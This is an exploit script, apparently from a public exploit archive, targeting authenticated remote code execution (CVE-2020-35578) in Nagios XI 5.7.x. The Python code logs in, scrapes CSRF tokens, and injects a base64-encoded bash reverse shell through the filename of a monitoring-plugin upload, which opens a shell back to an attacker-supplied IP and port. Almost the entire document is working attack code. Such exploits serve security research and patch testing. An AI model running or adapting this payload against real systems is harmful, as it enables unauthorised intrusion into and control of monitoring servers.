Nagios XI 5.7.x Remote Code Execution

`# Exploit Title: Nagios XI 5.7.X - Remote Code Exection RCE (Authenticated)  
# Date: 19/12/2020  
# Exploit Author: Haboob Team (https://haboob.sa)  
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/  
# Version: Nagios XI 5.7.x  
# Tested on: (Ubuntu 18.04 / PHP 7.2.24) & Vendor's custom VM  
# CVE: CVE-2020-35578  
  
#!/usr/bin/python3  
  
# pip3 install bs4 lxml  
import requests  
import sys  
import warnings  
from bs4 import BeautifulSoup  
import base64  
import urllib3  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)   
  
if len(sys.argv) != 6:  
print("[~] Usage : python3 nagiosxi-rce.py http(s)://url username password reverse_ip reverse_port")  
print("[~] Example : python3 nagiosxi-rce.py https://192.168.224.139 nagiosadmin P@ssw0rd 192.168.224.138 443")  
exit()  
  
url = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
ip = sys.argv[4]  
port = sys.argv[5]  
  
request = requests.session()  
  
  
def login():  
# Request nsp value (Nagios Session Protection, used to prevent CSRF attacks)  
nsp_str_req = request.get(url+"/nagiosxi/login.php", verify=False)  
content = nsp_str_req.text  
soup = BeautifulSoup(content, "lxml")  
nsp_str = soup.find_all('input')[0].get('value')  
print("[+] Extract login nsp token : %s" % nsp_str)  
  
# Login  
login_info = {  
"nsp": nsp_str,  
"pageopt": "login",  
"username": username,  
"password": password  
}  
login_request = request.post(url + "/nagiosxi/login.php", login_info, verify=False)  
login_text = login_request.text  
  
# Check Login Status  
if "Core Config Manager" in login_text:  
return True  
else:  
print("[-] Login ... Failed!")  
return False  
  
  
  
def execute_payload():  
# Request nsp value (Nagios Session Protection, used to prevent CSRF attacks)  
print("[+] Request upload form ...")  
nsp_str_req = request.get(url+"/nagiosxi/admin/monitoringplugins.php", verify=False)  
content = nsp_str_req.text  
soup = BeautifulSoup(content, "lxml")  
nsp_str = soup.find_all('input')[1].get('value')  
print("[+] Extract upload nsp token : %s" % nsp_str)   
  
# Payload Base64 Encoding  
payload_decoded = "bash -i >& /dev/tcp/%s/%s 0>&1" % (ip, port)  
payload_bytes = payload_decoded.encode('ascii')  
base64_bytes = base64.b64encode(payload_bytes)  
payload_encoded = base64_bytes.decode('ascii')  
payload = ";echo " + payload_encoded + " | base64 -d | bash;#"  
print("[+] Base64 encoded payload : %s" % payload)  
  
# Payload Execution  
multipart_form_data = {  
'upload': (None, '', None),  
'nsp': (None, nsp_str, None),  
'uploadedfile': (payload, 'whatever', 'text/plain'),  
'convert_to_unix': (None, '1', None),  
}  
print("[+] Sending payload ...")  
print("[+] Check your nc ...")  
rce = request.post(url +"/nagiosxi/admin/monitoringplugins.php", files=multipart_form_data, verify=False)  
  
  
  
if login():  
print("[+] Login ... Success!")  
execute_payload()  
  
`